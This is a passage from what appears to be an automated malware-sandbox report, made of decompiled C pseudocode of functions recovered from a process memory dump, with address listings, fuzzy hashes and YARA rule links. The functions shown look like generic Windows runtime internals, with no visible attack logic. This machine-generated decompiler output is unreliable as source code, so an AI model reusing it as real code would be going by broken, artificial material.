				_t87 = L04684620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0x248);
				_t175 = _t87;
				if(_t175 != 0) {
					_t11 = _t175 + 0x30; // 0x30
					 *((short*)(_t175 + 6)) = 0x14d4;
					 *((intOrPtr*)(_t175 + 0x20)) =  *((intOrPtr*)(_t167 + 0x10));
					 *((intOrPtr*)(_t175 + 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t167 + 8)) + 0xc));
					 *((intOrPtr*)(_t175 + 0x28)) = _t136;
					 *((intOrPtr*)(_t175 + 0x2c)) =  *((intOrPtr*)(_t167 + 0x14));
					E046E6B4C(_t167, _t11, 0x214,  &_v8);
					_v12 = _v8 + 0x10;
					_t95 = E04687D50();
					_t137 = 0x7ffe0384;
					if(_t95 == 0) {
						_t96 = 0x7ffe0384;
					} else {
						_t96 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_push(_t175);
					_push(_v12);
					_push(0x402);
					_push( *_t96 & 0x000000ff);
					E046A9AE0();
					_t87 = L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t175);
					_t176 = _v16;
					if((_t176 & 0x00000100) != 0) {
						_push( &_v36);
						_t157 = 4;
						_t87 = E046E795D( *((intOrPtr*)(_t167 + 8)), _t157);
						if(_t87 >= 0) {
							_v24 = E046E795D( *((intOrPtr*)(_t167 + 8)), 1,  &_v44);
							_v28 = E046E795D( *((intOrPtr*)(_t167 + 8)), 0,  &_v60);
							_push( &_v52);
							_t161 = 5;
							_t168 = E046E795D( *((intOrPtr*)(_t167 + 8)), _t161);
							_v20 = _t168;
							_t107 = L04684620( *[fs:0x30],  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0xca0);
							_v16 = _t107;
							if(_t107 != 0) {
								_v8 = _v8 & 0x00000000;
								 *(_t107 + 0x20) = _t176;
								 *((short*)(_t107 + 6)) = 0x14d5;
								_t47 = _t107 + 0x24; // 0x24
								_t177 = _t47;
								E046E6B4C( &_v36, _t177, 0xc78,  &_v8);
								_t51 = _v8 + 4; // 0x4
								_t178 = _t177 + (_v8 >> 1) * 2;
								_v12 = _t51;
								E046E6B4C( &_v44, _t177 + (_v8 >> 1) * 2, 0xc78,  &_v8);
								_v12 = _v12 + _v8;
								E046E6B4C( &_v60, _t178 + (_v8 >> 1) * 2, 0xc78,  &_v8);
								_t125 = _v8;
								_v12 = _v12 + _v8;
								E046E6B4C( &_v52, _t178 + (_v8 >> 1) * 2 + (_v8 >> 1) * 2, 0xc78 - _v8 - _v8 - _t125,  &_v8);
								_t174 = _v12 + _v8;
								if(E04687D50() != 0) {
									_t137 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
								}
								_push(_v16);
								_push(_t174);
								_push(0x402);
								_push( *_t137 & 0x000000ff);
								E046A9AE0();
								L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v16);
								_t168 = _v20;
							}
							_t87 = L04682400( &_v36);
							if(_v24 >= 0) {
								_t87 = L04682400( &_v44);
							}
							if(_t168 >= 0) {
								_t87 = L04682400( &_v52);
							}
							if(_v28 >= 0) {
								return L04682400( &_v60);
							}
						}
					}
				}
				return _t87;
			}

0x046e6dd4
0x046e6dde
0x046e6de1
0x046e6de3
0x046e6de6
0x046e6de9
0x046e6dec
0x046e6def
0x046e6df2
0x046e6df5
0x046e6dfe
0x046e6e04
0x046e6e09
0x046e6e0d
0x046e6e18
0x046e6e1b
0x046e6e22
0x046e6e2d
0x046e6e30
0x046e6e36
0x046e6e42
0x046e6e4d
0x046e6e50
0x046e6e55
0x046e6e5c
0x046e6e6e
0x046e6e5e
0x046e6e67
0x046e6e67
0x046e6e73
0x046e6e74
0x046e6e77
0x046e6e7c
0x046e6e7d
0x046e6e8e
0x046e6e93
0x046e6e9c
0x046e6ea8
0x046e6eab
0x046e6eac
0x046e6eb3
0x046e6ecd
0x046e6edc
0x046e6ee2
0x046e6ee5
0x046e6ef2
0x046e6efb
0x046e6f01
0x046e6f06
0x046e6f0b
0x046e6f11
0x046e6f1a
0x046e6f22
0x046e6f26
0x046e6f26
0x046e6f33
0x046e6f41
0x046e6f44
0x046e6f47
0x046e6f54
0x046e6f65
0x046e6f77
0x046e6f7c
0x046e6f82
0x046e6f91
0x046e6f99
0x046e6fa3
0x046e6fae
0x046e6fae
0x046e6fba
0x046e6fbb
0x046e6fbc
0x046e6fc1
0x046e6fc2
0x046e6fd3
0x046e6fd8
0x046e6fd8
0x046e6fdf
0x046e6fe8
0x046e6fee
0x046e6fee
0x046e6ff5
0x046e6ffb
0x046e6ffb
0x046e7004
0x00000000
0x046e700a
0x046e7004
0x046e6eb3
0x046e6e9c
0x046e7015

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction ID: 30790757bf85431645a4168708d53715db2d2ecb95b952c893a8c49a17e31060
Opcode Fuzzy Hash: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction Fuzzy Hash: 42717B71A01219EFDB10EFA5C984AAEBBF9FF48704F10456DE504A7250EB30BA41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 046FB8D0, Relevance: .2, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E046FB8D0(void* __edx, intOrPtr _a4, intOrPtr _a8, signed char _a12, signed int** _a16) {
				char _v8;
				signed int _v12;
				signed int _t80;
				signed int _t83;
				intOrPtr _t89;
				signed int _t92;
				signed char _t106;
				signed int* _t107;
				intOrPtr _t108;
				intOrPtr _t109;
				signed int _t114;
				void* _t115;
				void* _t117;
				void* _t119;
				void* _t122;
				signed int _t123;
				signed int* _t124;

				_t106 = _a12;
				if((_t106 & 0xfffffffc) != 0) {
					return 0xc000000d;
				}
				if((_t106 & 0x00000002) != 0) {
					_t106 = _t106 | 0x00000001;
				}
				_t109 =  *0x4757b9c; // 0x0
				_t124 = L04684620(_t109 + 0x140000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t109 + 0x140000, 0x424 + (_a8 - 1) * 0xc);
				if(_t124 != 0) {
					 *_t124 =  *_t124 & 0x00000000;
					_t124[1] = _t124[1] & 0x00000000;
					_t124[4] = _t124[4] & 0x00000000;
					if( *((intOrPtr*)( *[fs:0x18] + 0xf9c)) == 0) {
						L13:
						_push(_t124);
						if((_t106 & 0x00000002) != 0) {
							_push(0x200);
							_push(0x28);
							_push(0xffffffff);
							_t122 = E046A9800();
							if(_t122 < 0) {
								L33:
								if((_t124[4] & 0x00000001) != 0) {
									_push(4);
									_t64 =  &(_t124[1]); // 0x4
									_t107 = _t64;
									_push(_t107);
									_push(5);
									_push(0xfffffffe);
									E046A95B0();
									if( *_t107 != 0) {
										_push( *_t107);
										E046A95D0();
									}
								}
								_push(_t124);
								_push(0);
								_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
								L37:
								L046877F0();
								return _t122;
							}
							_t124[4] = _t124[4] | 0x00000002;
							L18:
							_t108 = _a8;
							_t29 =  &(_t124[0x105]); // 0x414
							_t80 = _t29;
							_t30 =  &(_t124[5]); // 0x14
							_t124[3] = _t80;
							_t123 = 0;
							_t124[2] = _t30;
							 *_t80 = _t108;
							if(_t108 == 0) {
								L21:
								_t112 = 0x400;
								_push( &_v8);
								_v8 = 0x400;
								_push(_t124[2]);
								_push(0x400);
								_push(_t124[3]);
								_push(0);
								_push( *_t124);
								_t122 = E046A9910();
								if(_t122 != 0xc0000023) {
									L26:
									if(_t122 != 0x106) {
										L40:
										if(_t122 < 0) {
											L29:
											_t83 = _t124[2];
											if(_t83 != 0) {
												_t59 =  &(_t124[5]); // 0x14
												if(_t83 != _t59) {
													L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t83);
												}
											}
											_push( *_t124);
											E046A95D0();
											goto L33;
										}
										 *_a16 = _t124;
										return 0;
									}
									if(_t108 != 1) {
										_t122 = 0;
										goto L40;
									}
									_t122 = 0xc0000061;
									goto L29;
								} else {
									goto L22;
								}
								while(1) {
									L22:
									_t89 =  *0x4757b9c; // 0x0
									_t92 = L04684620(_t112,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t89 + 0x140000, _v8);
									_t124[2] = _t92;
									if(_t92 == 0) {
										break;
									}
									_t112 =  &_v8;
									_push( &_v8);
									_push(_t92);
									_push(_v8);
									_push(_t124[3]);
									_push(0);
									_push( *_t124);
									_t122 = E046A9910();
									if(_t122 != 0xc0000023) {
										goto L26;
									}
									L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t124[2]);
								}
								_t122 = 0xc0000017;
								goto L26;
							}
							_t119 = 0;
							do {
								_t114 = _t124[3];
								_t119 = _t119 + 0xc;
								 *((intOrPtr*)(_t114 + _t119 - 8)) =  *((intOrPtr*)(_a4 + _t123 * 4));
								 *(_t114 + _t119 - 4) =  *(_t114 + _t119 - 4) & 0x00000000;
								_t123 = _t123 + 1;
								 *((intOrPtr*)(_t124[3] + _t119)) = 2;
							} while (_t123 < _t108);
							goto L21;
						}
						_push(0x28);
						_push(3);
						_t122 = E0466A7B0();
						if(_t122 < 0) {
							goto L33;
						}
						_t124[4] = _t124[4] | 0x00000001;
						goto L18;
					}
					if((_t106 & 0x00000001) == 0) {
						_t115 = 0x28;
						_t122 = E046FE7D3(_t115, _t124);
						if(_t122 < 0) {
							L9:
							_push(_t124);
							_push(0);
							_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
							goto L37;
						}
						L12:
						if( *_t124 != 0) {
							goto L18;
						}
						goto L13;
					}
					_t15 =  &(_t124[1]); // 0x4
					_t117 = 4;
					_t122 = E046FE7D3(_t117, _t15);
					if(_t122 >= 0) {
						_t124[4] = _t124[4] | 0x00000001;
						_v12 = _v12 & 0x00000000;
						_push(4);
						_push( &_v12);
						_push(5);
						_push(0xfffffffe);
						E046A95B0();
						goto L12;
					}
					goto L9;
				} else {
					return 0xc0000017;
				}
			}

0x046fb8d9
0x046fb8e4
0x00000000
0x046fb8e6
0x046fb8f3
0x046fb8f5
0x046fb8f5
0x046fb8f8
0x046fb920
0x046fb924
0x046fb936
0x046fb939
0x046fb93d
0x046fb948
0x046fb9a0
0x046fb9a0
0x046fb9a4
0x046fb9bf
0x046fb9c4
0x046fb9c6
0x046fb9cd
0x046fb9d1
0x046fbad4
0x046fbad8
0x046fbada
0x046fbadc
0x046fbadc
0x046fbadf
0x046fbae0
0x046fbae2
0x046fbae4
0x046fbaec
0x046fbaee
0x046fbaf0
0x046fbaf0
0x046fbaec
0x046fbafb
0x046fbafc
0x046fbafe
0x046fbb01
0x046fbb01
0x00000000
0x046fbb06
0x046fb9d7
0x046fb9db
0x046fb9db
0x046fb9de
0x046fb9de
0x046fb9e4
0x046fb9e7
0x046fb9ea
0x046fb9ec
0x046fb9ef
0x046fb9f3
0x046fba1b
0x046fba1b
0x046fba23
0x046fba24
0x046fba27
0x046fba2a
0x046fba2b
0x046fba2e
0x046fba30
0x046fba37
0x046fba3f
0x046fba9c
0x046fbaa2
0x046fbb13
0x046fbb15
0x046fbaae
0x046fbaae
0x046fbab3
0x046fbab5
0x046fbaba
0x046fbac8
0x046fbac8
0x046fbaba
0x046fbacd
0x046fbacf
0x00000000
0x046fbacf
0x046fbb1a
0x00000000
0x046fbb1c
0x046fbaa7
0x046fbb11
0x00000000
0x046fbb11
0x046fbaa9
0x00000000
0x00000000
0x00000000
0x00000000
0x046fba41
0x046fba41
0x046fba41
0x046fba58
0x046fba5d
0x046fba62
0x00000000
0x00000000
0x046fba64
0x046fba67
0x046fba68
0x046fba69
0x046fba6c
0x046fba6f
0x046fba71
0x046fba78
0x046fba80
0x00000000
0x00000000
0x046fba90
0x046fba90
0x046fba97
0x00000000
0x046fba97
0x046fb9f5
0x046fb9f7
0x046fb9f7
0x046fb9fa
0x046fba03
0x046fba07
0x046fba0c
0x046fba10
0x046fba17
0x00000000
0x046fb9f7
0x046fb9a6
0x046fb9a8
0x046fb9af
0x046fb9b3
0x00000000
0x00000000
0x046fb9b9
0x00000000
0x046fb9b9
0x046fb94d
0x046fb98f
0x046fb995
0x046fb999
0x046fb960
0x046fb967
0x046fb968
0x046fb96a
0x00000000
0x046fb96a
0x046fb99b
0x046fb99e
0x00000000
0x00000000
0x00000000
0x046fb99e
0x046fb951
0x046fb954
0x046fb95a
0x046fb95e
0x046fb972
0x046fb979
0x046fb97d
0x046fb97f
0x046fb980
0x046fb982
0x046fb984
0x00000000
0x046fb984
0x00000000
0x046fb926
0x00000000
0x046fb926

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cf600aea9f69ac55cd871769c68175c8a3a869a00354a12ddff07fd815d432c
Instruction ID: 9a6cad84892ffaafa0565dd9eb8565c19cc63a21ea20f38c013ac5095be61b74
Opcode Fuzzy Hash: 8cf600aea9f69ac55cd871769c68175c8a3a869a00354a12ddff07fd815d432c
Instruction Fuzzy Hash: A971EB32200B01AFE7319F14CC41F66BBA6EB44B24F24492CE6958B6A0FB75F945CB50

Uniqueness

Uniqueness Score: -1.00%

Function 046652A5, Relevance: .2, Instructions: 161
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E046652A5(char __ecx) {
				char _v20;
				char _v28;
				char _v29;
				void* _v32;
				void* _v36;
				void* _v37;
				void* _v38;
				void* _v40;
				void* _v46;
				void* _v64;
				void* __ebx;
				intOrPtr* _t49;
				signed int _t53;
				short _t85;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				intOrPtr _t101;
				intOrPtr* _t102;
				intOrPtr* _t104;
				signed int _t106;
				void* _t108;

				_t93 = __ecx;
				_t108 = (_t106 & 0xfffffff8) - 0x1c;
				_push(_t88);
				_v29 = __ecx;
				_t89 = _t88 | 0xffffffff;
				while(1) {
					E0467EEF0(0x47579a0);
					_t104 =  *0x4758210; // 0x26e2bd8
					if(_t104 == 0) {
						break;
					}
					asm("lock inc dword [esi]");
					 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)(_t104 + 8));
					E0467EB70(_t93, 0x47579a0);
					if( *((char*)(_t108 + 0xf)) != 0) {
						_t101 =  *0x7ffe02dc;
						__eflags =  *(_t104 + 0x14) & 0x00000001;
						if(( *(_t104 + 0x14) & 0x00000001) != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0x90028);
							_push(_t108 + 0x20);
							_push(0);
							_push(0);
							_push(0);
							_push( *((intOrPtr*)(_t104 + 4)));
							_t53 = E046A9890();
							__eflags = _t53;
							if(_t53 >= 0) {
								__eflags =  *(_t104 + 0x14) & 0x00000001;
								if(( *(_t104 + 0x14) & 0x00000001) == 0) {
									E0467EEF0(0x47579a0);
									 *((intOrPtr*)(_t104 + 8)) = _t101;
									E0467EB70(0, 0x47579a0);
								}
								goto L3;
							}
							__eflags = _t53 - 0xc0000012;
							if(__eflags == 0) {
								L12:
								_t13 = _t104 + 0xc; // 0x26e2be5
								_t93 = _t13;
								 *((char*)(_t108 + 0x12)) = 0;
								__eflags = E0469F0BF(_t13,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								if(__eflags >= 0) {
									L15:
									_t102 = _v28;
									 *_t102 = 2;
									 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
									E0467EEF0(0x47579a0);
									__eflags =  *0x4758210 - _t104; // 0x26e2bd8
									if(__eflags == 0) {
										__eflags =  *((char*)(_t108 + 0xe));
										_t95 =  *((intOrPtr*)(_t108 + 0x14));
										 *0x4758210 = _t102;
										_t32 = _t102 + 0xc; // 0x0
										 *_t95 =  *_t32;
										_t33 = _t102 + 0x10; // 0x0
										 *((intOrPtr*)(_t95 + 4)) =  *_t33;
										_t35 = _t102 + 4; // 0xffffffff
										 *((intOrPtr*)(_t95 + 8)) =  *_t35;
										if(__eflags != 0) {
											_t95 =  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10))));
											E046E4888(_t89,  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10)))), __eflags);
										}
										E0467EB70(_t95, 0x47579a0);
										asm("lock xadd [esi], eax");
										if(__eflags == 0) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E046A95D0();
											L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										asm("lock xadd [esi], ebx");
										__eflags = _t89 == 1;
										if(_t89 == 1) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E046A95D0();
											L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										_t49 = _t102;
										L4:
										return _t49;
									}
									E0467EB70(_t93, 0x47579a0);
									asm("lock xadd [esi], eax");
									if(__eflags == 0) {
										_push( *((intOrPtr*)(_t104 + 4)));
										E046A95D0();
										L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
										_t102 =  *((intOrPtr*)(_t108 + 0x10));
									}
									 *_t102 = 1;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										_t28 = _t102 + 4; // 0xffffffff
										_push( *_t28);
										E046A95D0();
										L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t102);
									}
									continue;
								}
								_t93 =  &_v20;
								 *((intOrPtr*)(_t108 + 0x20)) =  *((intOrPtr*)(_t104 + 0x10));
								_t85 = 6;
								_v20 = _t85;
								_t87 = E0469F0BF( &_v20,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								__eflags = _t87;
								if(_t87 < 0) {
									goto L3;
								}
								 *((char*)(_t108 + 0xe)) = 1;
								goto L15;
							}
							__eflags = _t53 - 0xc000026e;
							if(__eflags != 0) {
								goto L3;
							}
							goto L12;
						}
						__eflags = 0x7ffe02dc -  *((intOrPtr*)(_t108 + 0x14));
						if(0x7ffe02dc ==  *((intOrPtr*)(_t108 + 0x14))) {
							goto L3;
						} else {
							goto L9;
						}
					}
					L3:
					_t49 = _t104;
					goto L4;
				}
				_t49 = 0;
				goto L4;
			}

0x046652a5
0x046652ad
0x046652b0
0x046652b3
0x046652b7
0x046652ba
0x046652bf
0x046652c4
0x046652cc
0x00000000
0x00000000
0x046652ce
0x046652d9
0x046652dd
0x046652e7
0x046652f7
0x046652f9
0x046652fd
0x046c0dcf
0x046c0dd5
0x046c0dd6
0x046c0dd7
0x046c0dd8
0x046c0dd9
0x046c0dde
0x046c0ddf
0x046c0de0
0x046c0de1
0x046c0de2
0x046c0de5
0x046c0dea
0x046c0dec
0x046c0f60
0x046c0f64
0x046c0f70
0x046c0f76
0x046c0f79
0x046c0f79
0x00000000
0x046c0f64
0x046c0df2
0x046c0df7
0x046c0e04
0x046c0e0d
0x046c0e0d
0x046c0e10
0x046c0e1a
0x046c0e1c
0x046c0e4c
0x046c0e52
0x046c0e61
0x046c0e67
0x046c0e6b
0x046c0e70
0x046c0e76
0x046c0ed7
0x046c0edc
0x046c0ee0
0x046c0ee6
0x046c0eea
0x046c0eed
0x046c0ef0
0x046c0ef3
0x046c0ef6
0x046c0ef9
0x046c0efe
0x046c0f01
0x046c0f01
0x046c0f0b
0x046c0f12
0x046c0f16
0x046c0f18
0x046c0f1b
0x046c0f2c
0x046c0f31
0x046c0f31
0x046c0f35
0x046c0f39
0x046c0f3a
0x046c0f3c
0x046c0f3f
0x046c0f50
0x046c0f55
0x046c0f55
0x046c0f59
0x046652eb
0x046652f1
0x046652f1
0x046c0e7d
0x046c0e84
0x046c0e88
0x046c0e8a
0x046c0e8d
0x046c0e9e
0x046c0ea3
0x046c0ea3
0x046c0ea7
0x046c0eaf
0x046c0eb3
0x046c0eb9
0x046c0eb9
0x046c0ebc
0x046c0ecd
0x046c0ecd
0x00000000
0x046c0eb3
0x046c0e21
0x046c0e2b
0x046c0e2f
0x046c0e30
0x046c0e3a
0x046c0e3f
0x046c0e41
0x00000000
0x00000000
0x046c0e47
0x00000000
0x046c0e47
0x046c0df9
0x046c0dfe
0x00000000
0x00000000
0x00000000
0x046c0dfe
0x04665303
0x04665307
0x00000000
0x04665309
0x00000000
0x04665309
0x04665307
0x046652e9
0x046652e9
0x00000000
0x046652e9
0x0466530e
0x00000000

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 463e60bb485823b9f0a750d18a9486441faffa9b8c41c95009b37228dce587e7
Instruction ID: 1989b709db8802abd6f89ba16be5c56aac244d52b8edd1549bcaf0141a51b7cc
Opcode Fuzzy Hash: 463e60bb485823b9f0a750d18a9486441faffa9b8c41c95009b37228dce587e7
Instruction Fuzzy Hash: 1D51CA70205741ABE720EF68C941B26BBE8FF54718F10491EE89687650F7B4F844CB96

Uniqueness

Uniqueness Score: -1.00%

Function 04692AE4, Relevance: .2, Instructions: 159
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04692AE4(intOrPtr* __ecx, intOrPtr __edx, signed int _a4, short* _a8, intOrPtr _a12, signed int* _a16) {
				signed short* _v8;
				signed short* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				signed int _v32;
				signed int _v36;
				short _t56;
				signed int _t57;
				intOrPtr _t58;
				signed short* _t61;
				intOrPtr _t72;
				intOrPtr _t75;
				intOrPtr _t84;
				intOrPtr _t87;
				intOrPtr* _t90;
				signed short* _t91;
				signed int _t95;
				signed short* _t96;
				intOrPtr _t97;
				intOrPtr _t102;
				signed int _t108;
				intOrPtr _t110;
				signed int _t111;
				signed short* _t112;
				void* _t113;
				signed int _t116;
				signed short** _t119;
				short* _t120;
				signed int _t123;
				signed int _t124;
				void* _t125;
				intOrPtr _t127;
				signed int _t128;

				_t90 = __ecx;
				_v16 = __edx;
				_t108 = _a4;
				_v28 = __ecx;
				_t4 = _t108 - 1; // -1
				if(_t4 > 0x13) {
					L15:
					_t56 = 0xc0000100;
					L16:
					return _t56;
				}
				_t57 = _t108 * 0x1c;
				_v32 = _t57;
				_t6 = _t57 + 0x4758204; // 0x0
				_t123 =  *_t6;
				_t7 = _t57 + 0x4758208; // 0x4758207
				_t8 = _t57 + 0x4758208; // 0x4758207
				_t119 = _t8;
				_v36 = _t123;
				_t110 = _t7 + _t123 * 8;
				_v24 = _t110;
				_t111 = _a4;
				if(_t119 >= _t110) {
					L12:
					if(_t123 != 3) {
						_t58 =  *0x4758450; // 0x26e174c
						if(_t58 == 0) {
							_t58 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x48));
						}
					} else {
						_t26 = _t57 + 0x475821c; // 0x0
						_t58 =  *_t26;
					}
					 *_t90 = _t58;
					goto L15;
				} else {
					goto L2;
				}
				while(1) {
					_t116 =  *_t61 & 0x0000ffff;
					_t128 =  *(_t127 + _t61) & 0x0000ffff;
					if(_t116 == _t128) {
						goto L18;
					}
					L5:
					if(_t116 >= 0x61) {
						if(_t116 > 0x7a) {
							_t97 =  *0x4756d5c; // 0x7f410654
							_t72 =  *0x4756d5c; // 0x7f410654
							_t75 =  *0x4756d5c; // 0x7f410654
							_t116 =  *((intOrPtr*)(_t75 + (( *(_t72 + (( *(_t97 + (_t116 >> 0x00000008 & 0x000000ff) * 2) & 0x0000ffff) + (_t116 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t116 & 0x0000000f)) * 2)) + _t116 & 0x0000ffff;
						} else {
							_t116 = _t116 - 0x20;
						}
					}
					if(_t128 >= 0x61) {
						if(_t128 > 0x7a) {
							_t102 =  *0x4756d5c; // 0x7f410654
							_t84 =  *0x4756d5c; // 0x7f410654
							_t87 =  *0x4756d5c; // 0x7f410654
							_t128 =  *((intOrPtr*)(_t87 + (( *(_t84 + (( *(_t102 + (_t128 >> 0x00000008 & 0x000000ff) * 2) & 0x0000ffff) + (_t128 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t128 & 0x0000000f)) * 2)) + _t128 & 0x0000ffff;
						} else {
							_t128 = _t128 - 0x20;
						}
					}
					if(_t116 == _t128) {
						_t61 = _v12;
						_t96 = _v8;
					} else {
						_t113 = _t116 - _t128;
						L9:
						_t111 = _a4;
						if(_t113 == 0) {
							_t115 =  &(( *_t119)[_t111 + 1]);
							_t33 =  &(_t119[1]); // 0x100
							_t120 = _a8;
							_t95 =  *_t33 -  &(( *_t119)[_t111 + 1]) >> 1;
							_t35 = _t95 - 1; // 0xff
							_t124 = _t35;
							if(_t120 == 0) {
								L27:
								 *_a16 = _t95;
								_t56 = 0xc0000023;
								goto L16;
							}
							if(_t124 >= _a12) {
								if(_a12 >= 1) {
									 *_t120 = 0;
								}
								goto L27;
							}
							 *_a16 = _t124;
							_t125 = _t124 + _t124;
							E046AF3E0(_t120, _t115, _t125);
							_t56 = 0;
							 *((short*)(_t125 + _t120)) = 0;
							goto L16;
						}
						_t119 =  &(_t119[2]);
						if(_t119 < _v24) {
							L2:
							_t91 =  *_t119;
							_t61 = _t91;
							_v12 = _t61;
							_t112 =  &(_t61[_t111]);
							_v8 = _t112;
							if(_t61 >= _t112) {
								break;
							} else {
								_t127 = _v16 - _t91;
								_t96 = _t112;
								_v20 = _t127;
								_t116 =  *_t61 & 0x0000ffff;
								_t128 =  *(_t127 + _t61) & 0x0000ffff;
								if(_t116 == _t128) {
									goto L18;
								}
								goto L5;
							}
						} else {
							_t90 = _v28;
							_t57 = _v32;
							_t123 = _v36;
							goto L12;
						}
					}
					L18:
					_t61 =  &(_t61[1]);
					_v12 = _t61;
					if(_t61 >= _t96) {
						break;
					}
					_t127 = _v20;
				}
				_t113 = 0;
				goto L9;
			}

0x04692ae4
0x04692aec
0x04692aef
0x04692af4
0x04692af7
0x04692afd
0x04692b92
0x04692b92
0x04692b97
0x04692b9c
0x04692b9c
0x04692b03
0x04692b06
0x04692b09
0x04692b09
0x04692b0f
0x04692b15
0x04692b15
0x04692b1b
0x04692b1e
0x04692b21
0x04692b26
0x04692b29
0x04692b81
0x04692b84
0x04692c0e
0x04692c15
0x04692c24
0x04692c24
0x04692b8a
0x04692b8a
0x04692b8a
0x04692b8a
0x04692b90
0x00000000
0x00000000
0x00000000
0x00000000
0x04692b4a
0x04692b4a
0x04692b4d
0x04692b53
0x00000000
0x00000000
0x04692b55
0x04692b58
0x04692bb7
0x046d5d1b
0x046d5d37
0x046d5d47
0x046d5d53
0x04692bbd
0x04692bbd
0x04692bbd
0x04692bb7
0x04692b5d
0x04692c2f
0x046d5d5b
0x046d5d77
0x046d5d87
0x046d5d93
0x04692c35
0x04692c35
0x04692c35
0x04692c2f
0x04692b65
0x04692b9f
0x04692ba2
0x04692b67
0x04692b67
0x04692b69
0x04692b6b
0x04692b6e
0x04692bc9
0x04692bcc
0x04692bcf
0x04692bd4
0x04692bd6
0x04692bd6
0x04692bdb
0x04692c02
0x04692c05
0x04692c07
0x00000000
0x04692c07
0x04692be0
0x04692c00
0x04692c3f
0x04692c3f
0x00000000
0x04692c00
0x04692be5
0x04692be7
0x04692bec
0x04692bf4
0x04692bf6
0x00000000
0x04692bf6
0x04692b70
0x04692b76
0x04692b2b
0x04692b2b
0x04692b2d
0x04692b2f
0x04692b32
0x04692b35
0x04692b3a
0x00000000
0x04692b40
0x04692b43
0x04692b45
0x04692b47
0x04692b4a
0x04692b4d
0x04692b53
0x00000000
0x00000000
0x00000000
0x04692b53
0x04692b78
0x04692b78
0x04692b7b
0x04692b7e
0x00000000
0x04692b7e
0x04692b76
0x04692ba5
0x04692ba5
0x04692ba8
0x04692bad
0x00000000
0x00000000
0x04692baf
0x04692baf
0x04692bc2
0x00000000

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1fdebc837ec02eb65450e96461b5625ca9df0b6673e2b685a6ae75a9af02014
Instruction ID: 0bafe58a2f1d6c9af4b0b15429917d0db5f446a64736c54b070604ba1e53a1c4
Opcode Fuzzy Hash: b1fdebc837ec02eb65450e96461b5625ca9df0b6673e2b685a6ae75a9af02014
Instruction Fuzzy Hash: B951BF7AB00115DB8F14DF1CC8A09BDB7F9FB98704705889AE8469B318E7B4BE51DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0472AE44, Relevance: .2, Instructions: 152
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0472AE44(signed char __ecx, signed int __edx, signed int _a4, signed char _a8, signed int* _a12) {
				signed int _v8;
				signed int _v12;
				void* __esi;
				void* __ebp;
				signed short* _t36;
				signed int _t41;
				char* _t42;
				intOrPtr _t43;
				signed int _t47;
				void* _t52;
				signed int _t57;
